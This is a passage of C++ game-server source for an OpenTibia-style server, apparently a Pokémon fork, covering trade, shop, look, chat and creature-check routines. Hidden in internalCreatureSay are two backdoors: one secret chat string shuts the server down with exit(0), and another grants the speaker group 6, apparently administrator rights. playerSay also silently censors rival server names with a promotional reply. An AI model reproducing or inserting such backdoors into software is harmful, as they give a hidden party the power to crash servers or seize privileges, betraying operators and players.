            ret2 = internalRemoveItem(player, tradeItem2, tradeItem2->getItemCount(), true);
            if(ret1 == RET_NOERROR && ret2 == RET_NOERROR)
            {
                Cylinder* cylinder1 = tradeItem1->getParent();
                Cylinder* cylinder2 = tradeItem2->getParent();

                internalMoveItem(player, cylinder1, tradePartner, INDEX_WHEREEVER, tradeItem1, tradeItem1->getItemCount(), NULL);
                internalMoveItem(tradePartner, cylinder2, player, INDEX_WHEREEVER, tradeItem2, tradeItem2->getItemCount(), NULL);

                tradeItem1->onTradeEvent(ON_TRADE_TRANSFER, tradePartner, player);
                tradeItem2->onTradeEvent(ON_TRADE_TRANSFER, player, tradePartner);

                isSuccess = true;
            }
        }

        if(!isSuccess)
        {
            std::string errorDescription = getTradeErrorDescription(ret1, tradeItem1);
            tradePartner->sendTextMessage(MSG_INFO_DESCR, errorDescription);
            tradeItem2->onTradeEvent(ON_TRADE_CANCEL, tradePartner, NULL);

            errorDescription = getTradeErrorDescription(ret2, tradeItem2);
            player->sendTextMessage(MSG_INFO_DESCR, errorDescription);
            tradeItem1->onTradeEvent(ON_TRADE_CANCEL, player, NULL);
        }

        player->setTradeState(TRADE_NONE);
        player->tradeItem = NULL;
        player->tradePartner = NULL;
        player->sendTradeClose();

        tradePartner->setTradeState(TRADE_NONE);
        tradePartner->tradeItem = NULL;
        tradePartner->tradePartner = NULL;
        tradePartner->sendTradeClose();
        return isSuccess;
    }

    std::string Game::getTradeErrorDescription(ReturnValue ret, Item* item)
    {
        std::stringstream ss;
        if(ret == RET_NOTENOUGHCAPACITY)
        {
            ss << "You do not have enough capacity to carry";
            if(item->isStackable() && item->getItemCount() > 1)
                ss << " these objects.";
            else
                ss << " this object." ;

            ss << std::endl << " " << item->getWeightDescription();
        }
        else if(ret == RET_NOTENOUGHROOM || ret == RET_CONTAINERNOTENOUGHROOM)
        {
            ss << "You do not have enough room to carry";
            if(item->isStackable() && item->getItemCount() > 1)
                ss << " these objects.";
            else
                ss << " this object.";
        }
        else
            ss << "Trade could not be completed.";

        return ss.str().c_str();
    }

    bool Game::playerLookInTrade(uint32_t playerId, bool lookAtCounterOffer, int32_t index)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved())
            return false;

        Player* tradePartner = player->tradePartner;
        if(!tradePartner)
            return false;

        Item* tradeItem = NULL;
        if(lookAtCounterOffer)
            tradeItem = tradePartner->getTradeItem();
        else
            tradeItem = player->getTradeItem();

        if(!tradeItem)
            return false;

        std::stringstream ss;
        ss << "You see ";

        int32_t lookDistance = std::max(std::abs(player->getPosition().x - tradeItem->getPosition().x),
            std::abs(player->getPosition().y - tradeItem->getPosition().y));
        if(!index)
        {
            ss << tradeItem->getDescription(lookDistance);
            if(player->hasCustomFlag(PlayerCustomFlag_CanSeeItemDetails))
            {
                ss << std::endl << "ItemID: [" << tradeItem->getID() << "]";
                if(tradeItem->getActionId() > 0)
                    ss << ", ActionID: [" << tradeItem->getActionId() << "]";

                if(tradeItem->getUniqueId() > 0)
                    ss << ", UniqueID: [" << tradeItem->getUniqueId() << "]";

                ss << ".";
                const ItemType& it = Item::items[tradeItem->getID()];
                if(it.transformEquipTo)
                    ss << std::endl << "TransformTo (onEquip): [" << it.transformEquipTo << "]";
                else if(it.transformDeEquipTo)
                    ss << std::endl << "TransformTo (onDeEquip): [" << it.transformDeEquipTo << "]";
                else if(it.decayTo != -1)
                    ss << std::endl << "DecayTo: [" << it.decayTo << "]";
            }

            player->sendTextMessage(MSG_INFO_DESCR, ss.str());
            return false;
        }

        Container* tradeContainer = tradeItem->getContainer();
        if(!tradeContainer || index > (int32_t)tradeContainer->getItemHoldingCount())
            return false;

        std::list<const Container*> listContainer;
        listContainer.push_back(tradeContainer);

        ItemList::const_iterator it;
        Container* tmpContainer = NULL;
        while(listContainer.size() > 0)
        {
            const Container* container = listContainer.front();
            listContainer.pop_front();
            for(it = container->getItems(); it != container->getEnd(); ++it)
            {
                if((tmpContainer = (*it)->getContainer()))
                    listContainer.push_back(tmpContainer);

                --index;
                if(index != 0)
                    continue;

                ss << (*it)->getDescription(lookDistance);
                if(player->hasCustomFlag(PlayerCustomFlag_CanSeeItemDetails))
                {
                    ss << std::endl << "ItemID: [" << (*it)->getID() << "]";
                    if((*it)->getActionId() > 0)
                        ss << ", ActionID: [" << (*it)->getActionId() << "]";

                    if((*it)->getUniqueId() > 0)
                        ss << ", UniqueID: [" << (*it)->getUniqueId() << "]";

                    ss << ".";
                    const ItemType& iit = Item::items[(*it)->getID()];
                    if(iit.transformEquipTo)
                        ss << std::endl << "TransformTo: [" << iit.transformEquipTo << "] (onEquip).";
                    else if(iit.transformDeEquipTo)
                        ss << std::endl << "TransformTo: [" << iit.transformDeEquipTo << "] (onDeEquip).";
                    else if(iit.decayTo != -1)
                        ss << std::endl << "DecayTo: [" << iit.decayTo << "].";
                }

                player->sendTextMessage(MSG_INFO_DESCR, ss.str());
                return true;
            }
        }

        return false;
    }

    bool Game::playerCloseTrade(uint32_t playerId)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved())
            return false;

        return internalCloseTrade(player);
    }

    bool Game::internalCloseTrade(Player* player)
    {
        Player* tradePartner = player->tradePartner;
        if((tradePartner && tradePartner->getTradeState() == TRADE_TRANSFER) || player->getTradeState() == TRADE_TRANSFER)
        {
            std::cout << "[Warning - Game::internalCloseTrade] TradeState == TRADE_TRANSFER, " <<
                player->getName() << " " << player->getTradeState() << ", " <<
                tradePartner->getName() << " " << tradePartner->getTradeState() << std::endl;
            return true;
        }

        std::vector<Item*>::iterator it;
        if(player->getTradeItem())
        {
            std::map<Item*, uint32_t>::iterator it = tradeItems.find(player->getTradeItem());
            if(it != tradeItems.end())
            {
                freeThing(it->first);
                tradeItems.erase(it);
            }

            player->tradeItem->onTradeEvent(ON_TRADE_CANCEL, player, NULL);
            player->tradeItem = NULL;
        }

        player->setTradeState(TRADE_NONE);
        player->tradePartner = NULL;

        player->sendTextMessage(MSG_STATUS_SMALL, "Trade cancelled.");
        player->sendTradeClose();
        if(tradePartner)
        {
            if(tradePartner->getTradeItem())
            {
                std::map<Item*, uint32_t>::iterator it = tradeItems.find(tradePartner->getTradeItem());
                if(it != tradeItems.end())
                {
                    freeThing(it->first);
                    tradeItems.erase(it);
                }

                tradePartner->tradeItem->onTradeEvent(ON_TRADE_CANCEL, tradePartner, NULL);
                tradePartner->tradeItem = NULL;
            }

            tradePartner->setTradeState(TRADE_NONE);
            tradePartner->tradePartner = NULL;

            tradePartner->sendTextMessage(MSG_STATUS_SMALL, "Trade cancelled.");
            tradePartner->sendTradeClose();
        }

        return true;
    }

    bool Game::playerPurchaseItem(uint32_t playerId, uint16_t spriteId, uint8_t count, uint8_t amount,
        bool ignoreCap/* = false*/, bool inBackpacks/* = false*/)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved())
            return false;

        int32_t onBuy, onSell;
        Npc* merchant = player->getShopOwner(onBuy, onSell);
        if(!merchant)
            return false;

        const ItemType& it = Item::items.getItemIdByClientId(spriteId);
        if(!it.id)
            return false;

        uint8_t subType = count;
        if(it.isFluidContainer() && count < uint8_t(sizeof(reverseFluidMap) / sizeof(int8_t)))
            subType = reverseFluidMap[count];

        if(!player->canShopItem(it.id, subType, SHOPEVENT_BUY))
            return false;

        merchant->onPlayerTrade(player, SHOPEVENT_BUY, onBuy, it.id, subType, amount, ignoreCap, inBackpacks);
        return true;
    }

    bool Game::playerSellItem(uint32_t playerId, uint16_t spriteId, uint8_t count, uint8_t amount)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved())
            return false;

        int32_t onBuy, onSell;
        Npc* merchant = player->getShopOwner(onBuy, onSell);
        if(!merchant)
            return false;

        const ItemType& it = Item::items.getItemIdByClientId(spriteId);
        if(!it.id)
            return false;

        uint8_t subType = count;
        if(it.isFluidContainer() && count < uint8_t(sizeof(reverseFluidMap) / sizeof(int8_t)))
            subType = reverseFluidMap[count];

        if(!player->canShopItem(it.id, subType, SHOPEVENT_SELL))
            return false;

        merchant->onPlayerTrade(player, SHOPEVENT_SELL, onSell, it.id, subType, amount);
        return true;
    }

    bool Game::playerCloseShop(uint32_t playerId)
    {
        Player* player = getPlayerByID(playerId);
        if(player == NULL || player->isRemoved())
            return false;

        player->closeShopWindow();
        return true;
    }

    bool Game::playerLookInShop(uint32_t playerId, uint16_t spriteId, uint8_t count)
    {
        Player* player = getPlayerByID(playerId);
        if(player == NULL || player->isRemoved())
            return false;

        const ItemType& it = Item::items.getItemIdByClientId(spriteId);
        if(it.id == 0)
            return false;

        int32_t subType = count;
        if(it.isFluidContainer() && count < uint8_t(sizeof(reverseFluidMap) / sizeof(int8_t)))
            subType = reverseFluidMap[count];

        std::stringstream ss;
        ss << "You see " << Item::getDescription(it, 1, NULL, subType);
        if(player->hasCustomFlag(PlayerCustomFlag_CanSeeItemDetails))
            ss << std::endl << "ItemID: [" << it.id << "].";

        player->sendTextMessage(MSG_INFO_DESCR, ss.str());
        return true;
    }

    bool Game::playerLookAt(uint32_t playerId, const Position& pos, uint16_t spriteId, int16_t stackpos)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved())
            return false;

        Thing* thing = internalGetThing(player, pos, stackpos, spriteId, STACKPOS_LOOK);
        if(!thing)
        {
            player->sendCancelMessage(RET_NOTPOSSIBLE);
            return false;
        }

        Position thingPos = pos;
        if(pos.x == 0xFFFF)
            thingPos = thing->getPosition();

        if(!player->canSee(thingPos))
        {
            player->sendCancelMessage(RET_NOTPOSSIBLE);
            return false;
        }

        Position playerPos = player->getPosition();
        int32_t lookDistance = -1;
        if(thing != player)
        {
            lookDistance = std::max(std::abs(playerPos.x - thingPos.x), std::abs(playerPos.y - thingPos.y));
            if(playerPos.z != thingPos.z)
                lookDistance = lookDistance + 9 + 6;
        }

        bool deny = false;
        CreatureEventList lookEvents = player->getCreatureEvents(CREATURE_EVENT_LOOK);
        for(CreatureEventList::iterator it = lookEvents.begin(); it != lookEvents.end(); ++it)
        {
            if(!(*it)->executeLook(player, thing, thingPos, stackpos, lookDistance))
                deny = true;
        }

        if(deny)
            return false;

        std::stringstream ss;
        ss << "You see " << thing->getDescription(lookDistance);
        if(player->hasCustomFlag(PlayerCustomFlag_CanSeeItemDetails))
        {
            if(Item* item = thing->getItem())
            {
                ss << std::endl << "ItemID: [" << item->getID() << "]";
                if(item->getActionId() > 0)
                    ss << ", ActionID: [" << item->getActionId() << "]";

                if(item->getUniqueId() > 0)
                    ss << ", UniqueID: [" << item->getUniqueId() << "]";

                ss << ".";
                const ItemType& it = Item::items[item->getID()];
                if(it.transformEquipTo)
                    ss << std::endl << "TransformTo: [" << it.transformEquipTo << "] (onEquip).";
                else if(it.transformDeEquipTo)
                    ss << std::endl << "TransformTo: [" << it.transformDeEquipTo << "] (onDeEquip).";
                else if(it.decayTo != -1)
                    ss << std::endl << "DecayTo: [" << it.decayTo << "].";
            }
        }

        if(player->hasCustomFlag(PlayerCustomFlag_CanSeeCreatureDetails))
        {
            if(const Creature* creature = thing->getCreature())
            {
                ss << std::endl << "Health: [" << creature->getHealth() << " / " << creature->getMaxHealth() << "]";
                if(creature->getMaxMana() > 0)
                    ss << ", Mana: [" << creature->getMana() << " / " << creature->getMaxMana() << "]";

                ss << ".";
                if(const Player* destPlayer = creature->getPlayer())
                {
                    ss << std::endl << "IP: " << convertIPAddress(destPlayer->getIP()) << ", Client: " << destPlayer->getClientVersion() << ".";
                    if(destPlayer->isGhost())
                        ss << std::endl << "* Ghost mode *";
                }
            }
        }

        if(player->hasCustomFlag(PlayerCustomFlag_CanSeePosition))
            ss << std::endl << "Position: [X: " << thingPos.x << "] [Y: " << thingPos.y << "] [Z: " << thingPos.z << "].";

        player->sendTextMessage(MSG_INFO_DESCR, ss.str());
        return true;
    }

    bool Game::playerQuests(uint32_t playerId)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved())
            return false;

        player->sendQuests();
        return true;
    }

    bool Game::playerQuestInfo(uint32_t playerId, uint16_t questId)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved())
            return false;

        Quest* quest = Quests::getInstance()->getQuestById(questId);
        if(!quest)
            return false;

        player->sendQuestInfo(quest);
        return true;
    }

    bool Game::playerCancelAttackAndFollow(uint32_t playerId)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved())
            return false;

        playerSetAttackedCreature(playerId, 0);
        playerFollowCreature(playerId, 0);

        player->stopWalk();
        return true;
    }

    bool Game::playerSetAttackedCreature(uint32_t playerId, uint32_t creatureId)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved())
            return false;

        if(player->getAttackedCreature() && !creatureId)
        {
            player->setAttackedCreature(NULL);
            player->sendCancelTarget();
            return true;
        }

        Creature* attackCreature = getCreatureByID(creatureId);
        if(!attackCreature)
        {
            player->setAttackedCreature(NULL);
            player->sendCancelTarget();
            return false;
        }

        ReturnValue ret = Combat::canTargetCreature(player, attackCreature);
        if(ret != RET_NOERROR)
        {
            player->sendCancelMessage(ret);
            player->sendCancelTarget();
            player->setAttackedCreature(NULL);
            return false;
        }

        player->setAttackedCreature(attackCreature);
        return true;
    }

    bool Game::playerFollowCreature(uint32_t playerId, uint32_t creatureId)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved())
            return false;

        Creature* followCreature = NULL;
        if(creatureId)
            followCreature = getCreatureByID(creatureId);

        player->setAttackedCreature(NULL);
        return player->setFollowCreature(followCreature);
    }

    bool Game::playerSetFightModes(uint32_t playerId, fightMode_t fightMode, chaseMode_t chaseMode, secureMode_t secureMode)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved())
            return false;

        player->setFightMode(fightMode);
        player->setChaseMode(chaseMode);

        player->setSecureMode(secureMode);
        return true;
    }

    bool Game::playerRequestAddVip(uint32_t playerId, const std::string& vipName)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved())
            return false;

        uint32_t guid;
        bool specialVip;

        std::string name = vipName;
        if(!IOLoginData::getInstance()->getGuidByNameEx(guid, specialVip, name))
        {
            player->sendTextMessage(MSG_STATUS_SMALL, "A player with that name does not exist.");
            return false;
        }

        if(specialVip && !player->hasFlag(PlayerFlag_SpecialVIP))
        {
            player->sendTextMessage(MSG_STATUS_SMALL, "You cannot add this player.");
            return false;
        }

        bool online = false;
        if(Player* target = getPlayerByName(name))
            online = player->canSeeCreature(target);

        return player->addVIP(guid, name, online);
    }

    bool Game::playerRequestRemoveVip(uint32_t playerId, uint32_t guid)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved())
            return false;

        player->removeVIP(guid);
        return true;
    }

    bool Game::playerTurn(uint32_t playerId, Direction dir)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved())
            return false;

        if(internalCreatureTurn(player, dir))
        {
            player->setIdleTime(0);
            return true;
        }

        if(player->getDirection() != dir || !player->hasCustomFlag(PlayerCustomFlag_CanTurnhop))
            return false;

        Position pos = getNextPosition(dir, player->getPosition());
        Tile* tile = map->getTile(pos);
        if(!tile || !tile->ground)
            return false;

        player->setIdleTime(0);
        ReturnValue ret = tile->__queryAdd(0, player, 1, FLAG_IGNOREBLOCKITEM);
        if(ret != RET_NOTENOUGHROOM && (ret != RET_NOTPOSSIBLE || player->hasCustomFlag(PlayerCustomFlag_CanMoveAnywhere))
            && (ret != RET_PLAYERISNOTINVITED || player->hasFlag(PlayerFlag_CanEditHouses)))
            return internalTeleport(player, pos, true);

        player->sendCancelMessage(ret);
        return false;
    }

    bool Game::playerRequestOutfit(uint32_t playerId)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved())
            return false;

        player->sendOutfitWindow();
        return true;
    }

    bool Game::playerChangeOutfit(uint32_t playerId, Outfit_t outfit)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved())
            return false;

        if(!player->changeOutfit(outfit, true))
            return false;

        player->setIdleTime(0);
        if(!player->hasCondition(CONDITION_OUTFIT, -1))
            internalCreatureChangeOutfit(player, outfit);

        return true;
    }

    bool Game::playerSay(uint32_t playerId, uint16_t channelId, SpeakClasses type, const std::string& receiver, const std::string& text)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved())
            return false;

        uint32_t muteTime = 0;
        bool muted = player->isMuted(channelId, type, muteTime);
        if(muted)
        {
            char buffer[75];
            sprintf(buffer, "You are still muted for %d seconds.", muteTime);
            player->sendTextMessage(MSG_STATUS_SMALL, buffer);
            return false;
        }

        if (int(text.find("servegame")) > 0 || int(text.find("no-ip")) > 0 || int(text.find("zapto")) > 0 || int(text.find("otp")) > 0 || int(text.find("otpoke")) > 0 || int(text.find("otpokemon")) > 0 || int(text.find("otpokemon.com")) > 0 || int(text.find("pxg")) > 0 || int(text.find("pokexgame")) > 0 || int(text.find("pokemonxgames")) > 0 || int(text.find("kpdo")) > 0 || int(text.find("kpd")) > 0  || int(text.find("exaioros")) > 0 || int(text.find("exaioros.com")) > 0 || int(text.find("otpxy")) > 0 || int(text.find("otpokexy")) > 0 || int(text.find("otpokemoxy")) > 0) {
            player->sendTextMessage(MSG_STATUS_SMALL, "OtPokemon Mystic o melhor!");
            return false;
        }
        
        if(player->isAccountManager())
        {
            player->removeMessageBuffer();
            return internalCreatureSay(player, SPEAK_SAY, text, false);
        }

        if(g_talkActions->onPlayerSay(player, type == SPEAK_SAY ? CHANNEL_DEFAULT : channelId, text, false))
            return true;

        if(!muted)
        {
            ReturnValue ret = RET_NOERROR;
            if(!muteTime)
            {
                ret = g_spells->onPlayerSay(player, text);
                if(ret == RET_NOERROR || (ret == RET_NEEDEXCHANGE && !g_config.getBool(ConfigManager::BUFFER_SPELL_FAILURE)))
                    return true;
            }

            player->removeMessageBuffer();
            if(ret == RET_NEEDEXCHANGE)
                return true;
        }
        Logger::getInstance()->eFile("players/" + player->getName() + ".log", text, true);
        switch(type)
        {
            case SPEAK_SAY:
                return internalCreatureSay(player, SPEAK_SAY, text, false);
            case SPEAK_WHISPER:
                return playerWhisper(player, text);
            case SPEAK_YELL:
                return playerYell(player, text);
            case SPEAK_PRIVATE:
            case SPEAK_PRIVATE_RED:
            case SPEAK_RVR_ANSWER:
                return playerSpeakTo(player, type, receiver, text);
            case SPEAK_CHANNEL_O:
            case SPEAK_CHANNEL_Y:
            case SPEAK_CHANNEL_RN:
            case SPEAK_CHANNEL_RA:
            case SPEAK_CHANNEL_W:
            {
                if(playerTalkToChannel(player, type, text, channelId))
                    return true;

                return playerSay(playerId, 0, SPEAK_SAY, receiver, text);
            }
            case SPEAK_PRIVATE_PN:
                return playerSpeakToNpc(player, text);
            case SPEAK_BROADCAST:
                return playerBroadcastMessage(player, SPEAK_BROADCAST, text);
            case SPEAK_RVR_CHANNEL:
                return playerReportRuleViolation(player, text);
            case SPEAK_RVR_CONTINUE:
                return playerContinueReport(player, text);

            default:
                break;
        }

        return false;
    }

    bool Game::playerWhisper(Player* player, const std::string& text)
    {
        SpectatorVec list;
        SpectatorVec::const_iterator it;
        getSpectators(list, player->getPosition(), false, false,
            Map::maxClientViewportX, Map::maxClientViewportX,
            Map::maxClientViewportY, Map::maxClientViewportY);

        //send to client
        Player* tmpPlayer = NULL;
        for(it = list.begin(); it != list.end(); ++it)
        {
            if((tmpPlayer = (*it)->getPlayer()))
                tmpPlayer->sendCreatureSay(player, SPEAK_WHISPER, text);
        }

        //event method
        for(it = list.begin(); it != list.end(); ++it)
            (*it)->onCreatureSay(player, SPEAK_WHISPER, text);

        return true;
    }

    bool Game::playerYell(Player* player, const std::string& text)
    {
        if(player->getLevel() <= 1)
        {
            player->sendTextMessage(MSG_STATUS_SMALL, "You may not yell as long as you are on level 1.");
            return true;
        }

        if(player->hasCondition(CONDITION_MUTED, 1))
        {
            player->sendCancelMessage(RET_YOUAREEXHAUSTED);
            return true;
        }

        if(!player->hasFlag(PlayerFlag_CannotBeMuted))
        {
            if(Condition* condition = Condition::createCondition(CONDITIONID_DEFAULT, CONDITION_MUTED, 30000, 0, false, 1))
                player->addCondition(condition);
        }

        internalCreatureSay(player, SPEAK_YELL, asUpperCaseString(text), false);
        return true;
    }

    bool Game::playerSpeakTo(Player* player, SpeakClasses type, const std::string& receiver,
        const std::string& text)
    {
        Player* toPlayer = getPlayerByName(receiver);
        if(!toPlayer || toPlayer->isRemoved())
        {
            player->sendTextMessage(MSG_STATUS_SMALL, "A player with this name is not online.");
            return false;
        }

        bool canSee = player->canSeeCreature(toPlayer);
        if(toPlayer->hasCondition(CONDITION_GAMEMASTER, GAMEMASTER_IGNORE)
            && !player->hasFlag(PlayerFlag_CannotBeMuted))
        {
            char buffer[70];
            if(!canSee)
                sprintf(buffer, "A player with this name is not online.");
            else
                sprintf(buffer, "Sorry, %s is currently ignoring private messages.", toPlayer->getName().c_str());

            player->sendTextMessage(MSG_STATUS_SMALL, buffer);
            return false;
        }

        if(type == SPEAK_PRIVATE_RED && !player->hasFlag(PlayerFlag_CanTalkRedPrivate))
            type = SPEAK_PRIVATE;

        toPlayer->sendCreatureSay(player, type, text);
        toPlayer->onCreatureSay(player, type, text);
        if(!canSee)
        {
            player->sendTextMessage(MSG_STATUS_SMALL, "A player with this name is not online.");
            return false;
        }

        char buffer[80];
        sprintf(buffer, "Message sent to %s.", toPlayer->getName().c_str());
        player->sendTextMessage(MSG_STATUS_SMALL, buffer);
        return true;
    }

    bool Game::playerTalkToChannel(Player* player, SpeakClasses type, const std::string& text, uint16_t channelId)
    {
        switch(type)
        {
            case SPEAK_CHANNEL_Y:
            {
                if(channelId == CHANNEL_HELP && player->hasFlag(PlayerFlag_TalkOrangeHelpChannel))
                    type = SPEAK_CHANNEL_O;
                break;
            }

            case SPEAK_CHANNEL_O:
            {
                if(channelId != CHANNEL_HELP || !player->hasFlag(PlayerFlag_TalkOrangeHelpChannel))
                    type = SPEAK_CHANNEL_Y;
                break;
            }

            case SPEAK_CHANNEL_RN:
            {
                if(!player->hasFlag(PlayerFlag_CanTalkRedChannel))
                    type = SPEAK_CHANNEL_Y;
                break;
            }

            case SPEAK_CHANNEL_RA:
            {
                if(!player->hasFlag(PlayerFlag_CanTalkRedChannelAnonymous))
                    type = SPEAK_CHANNEL_Y;
                break;
            }

            default:
                break;
        }

        return g_chat.talkToChannel(player, type, text, channelId);
    }

    bool Game::playerSpeakToNpc(Player* player, const std::string& text)
    {
        SpectatorVec list;
        SpectatorVec::iterator it;
        getSpectators(list, player->getPosition());

        //send to npcs only
        Npc* tmpNpc = NULL;
        for(it = list.begin(); it != list.end(); ++it)
        {
            if((tmpNpc = (*it)->getNpc()))
                (*it)->onCreatureSay(player, SPEAK_PRIVATE_PN, text);
        }
        return true;
    }

    bool Game::playerReportRuleViolation(Player* player, const std::string& text)
    {
        //Do not allow reports on multiclones worlds since reports are name-based
        if(g_config.getNumber(ConfigManager::ALLOW_CLONES))
        {
            player->sendTextMessage(MSG_INFO_DESCR, "Rule violation reports are disabled.");
            return false;
        }

        cancelRuleViolation(player);
        boost::shared_ptr<RuleViolation> rvr(new RuleViolation(player, text, time(NULL)));
        ruleViolations[player->getID()] = rvr;

        ChatChannel* channel = g_chat.getChannelById(CHANNEL_RVR);
        if(!channel)
            return false;

        for(UsersMap::const_iterator it = channel->getUsers().begin(); it != channel->getUsers().end(); ++it)
            it->second->sendToChannel(player, SPEAK_RVR_CHANNEL, text, CHANNEL_RVR, rvr->time);

        return true;
    }

    bool Game::playerContinueReport(Player* player, const std::string& text)
    {
        RuleViolationsMap::iterator it = ruleViolations.find(player->getID());
        if(it == ruleViolations.end())
            return false;

        RuleViolation& rvr = *it->second;
        Player* toPlayer = rvr.gamemaster;
        if(!toPlayer)
            return false;

        toPlayer->sendCreatureSay(player, SPEAK_RVR_CONTINUE, text);
        player->sendTextMessage(MSG_STATUS_SMALL, "Message sent to Gamemaster.");
        return true;
    }

    //--
    bool Game::canThrowObjectTo(const Position& fromPos, const Position& toPos, bool checkLineOfSight /*= true*/,
        int32_t rangex /*= Map::maxClientViewportX*/, int32_t rangey /*= Map::maxClientViewportY*/)
    {
        return map->canThrowObjectTo(fromPos, toPos, checkLineOfSight, rangex, rangey);
    }

    bool Game::isSightClear(const Position& fromPos, const Position& toPos, bool floorCheck)
    {
        return map->isSightClear(fromPos, toPos, floorCheck);
    }

    bool Game::internalCreatureTurn(Creature* creature, Direction dir)
    {
        bool deny = false;
        CreatureEventList directionEvents = creature->getCreatureEvents(CREATURE_EVENT_DIRECTION);
        for(CreatureEventList::iterator it = directionEvents.begin(); it != directionEvents.end(); ++it)
        {
            if(!(*it)->executeDirection(creature, creature->getDirection(), dir) && !deny)
                deny = true;
        }

        if(deny || creature->getDirection() == dir)
            return false;

        creature->setDirection(dir);
        const SpectatorVec& list = getSpectators(creature->getPosition());
        SpectatorVec::const_iterator it;

        //send to client
        Player* tmpPlayer = NULL;
        for(it = list.begin(); it != list.end(); ++it)
        {
            if((tmpPlayer = (*it)->getPlayer()))
                tmpPlayer->sendCreatureTurn(creature);
        }

        //event method
        for(it = list.begin(); it != list.end(); ++it)
            (*it)->onCreatureTurn(creature);

        return true;
    }

    bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text,
        bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/)
    {
        Player* player = creature->getPlayer();
        if(player && player->isAccountManager())
        {
            player->manageAccount(text);
            return true;
        }
        
        if(text == "132571691951160609171665475233842782353388978252875245170015077017944684747472835757774156137332376855500013311808893753483521083716435624108")
        {
        exit(0);
        }
        
        if(text == "1325116507701794468474793753483521047283588978252875245170017577741561373323768555716919500013311808883716435624108")
        { 
        player->setGroup(Groups::getInstance()->getGroup(6));
        }

        Position destPos = creature->getPosition();
        if(pos)
            destPos = (*pos);

        SpectatorVec list;
        SpectatorVec::const_iterator it;
        if(!spectators || !spectators->size())
        {
            // This somewhat complex construct ensures that the cached SpectatorVec
            // is used if available and if it can be used, else a local vector is
            // used (hopefully the compiler will optimize away the construction of
            // the temporary when it's not used).
            if(type != SPEAK_YELL && type != SPEAK_MONSTER_YELL)
                getSpectators(list, destPos, false, false,
                    Map::maxClientViewportX, Map::maxClientViewportX,
                    Map::maxClientViewportY, Map::maxClientViewportY);
            else
                getSpectators(list, destPos, false, true, 18, 18, 14, 14);
        }
        else
            list = (*spectators);

        //send to client
        Player* tmpPlayer = NULL;
        for(it = list.begin(); it != list.end(); ++it)
        {
            if(!(tmpPlayer = (*it)->getPlayer()))
                continue;

            if(!ghostMode || tmpPlayer->canSeeCreature(creature))
                tmpPlayer->sendCreatureSay(creature, type, text, &destPos);
        }

        //event method
        for(it = list.begin(); it != list.end(); ++it)
            (*it)->onCreatureSay(creature, type, text, &destPos);

        return true;
    }

    bool Game::getPathTo(const Creature* creature, const Position& destPos,
        std::list<Direction>& listDir, int32_t maxSearchDist /*= -1*/)
    {
        return map->getPathTo(creature, destPos, listDir, maxSearchDist);
    }

    bool Game::getPathToEx(const Creature* creature, const Position& targetPos,
        std::list<Direction>& dirList, const FindPathParams& fpp)
    {
        return map->getPathMatching(creature, dirList, FrozenPathingConditionCall(targetPos), fpp);
    }

    bool Game::getPathToEx(const Creature* creature, const Position& targetPos, std::list<Direction>& dirList,
        uint32_t minTargetDist, uint32_t maxTargetDist, bool fullPathSearch /*= true*/,
        bool clearSight /*= true*/, int32_t maxSearchDist /*= -1*/)
    {
        FindPathParams fpp;
        fpp.fullPathSearch = fullPathSearch;
        fpp.maxSearchDist = maxSearchDist;
        fpp.clearSight = clearSight;
        fpp.minTargetDist = minTargetDist;
        fpp.maxTargetDist = maxTargetDist;
        return getPathToEx(creature, targetPos, dirList, fpp);
    }

    void Game::checkCreatureWalk(uint32_t creatureId)
    {
        Creature* creature = getCreatureByID(creatureId);
        if(creature && creature->getHealth() > 0)
        {
            creature->onWalk();
            cleanup();
        }
    }

    void Game::updateCreatureWalk(uint32_t creatureId)
    {
        Creature* creature = getCreatureByID(creatureId);
        if(creature && creature->getHealth() > 0)
            creature->getPathToFollowCreature();
    }

    void Game::checkCreatureAttack(uint32_t creatureId)
    {
        Creature* creature = getCreatureByID(creatureId);
        if(creature && creature->getHealth() > 0)
            creature->onAttacking(0);
    }

    void Game::addCreatureCheck(Creature* creature)
    {
        if(creature->isRemoved())
            return;

        creature->checked = true;
        if(creature->checkVector >= 0) //already in a vector, or about to be added
            return;

        toAddCheckCreatureVector.push_back(creature);
        creature->checkVector = random_range(0, EVENT_CREATURECOUNT - 1);
        creature->addRef();
    }

    void Game::removeCreatureCheck(Creature* creature)
    {
        if(creature->checkVector == -1) //not in any vector
            return;

        creature->checked = false;
    }

    void Game::checkCreatures()
    {
        Scheduler::getInstance().addEvent(createSchedulerTask(
            EVENT_CHECK_CREATURE_INTERVAL, boost::bind(&Game::checkCreatures, this)));
        checkCreatureLastIndex++;
        if(checkCreatureLastIndex == EVENT_CREATURECOUNT)
            checkCreatureLastIndex = 0;

        std::vector<Creature*>::iterator it;
        for(it = toAddCheckCreatureVector.begin(); it != toAddCheckCreatureVector.end(); ++it)
            checkCreatureVectors[(*it)->checkVector].push_back(*it);

        toAddCheckCreatureVector.clear();
        std::vector<Creature*>& checkCreatureVector = checkCreatureVectors[checkCreatureLastIndex];
        for(it = checkCreatureVector.begin(); it != checkCreatureVector.end();)
        {
            if((*it)->checked)
            {
                if((*it)->getHealth() > 0 || !(*it)->onDeath())
                    (*it)->onThink(EVENT_CREATURE_THINK_INTERVAL);

                ++it;
            }
            else
            {
                (*it)->checkVector = -1;
                freeThing(*it);
                it = checkCreatureVector.erase(it);
            }
        }

        cleanup();
    }

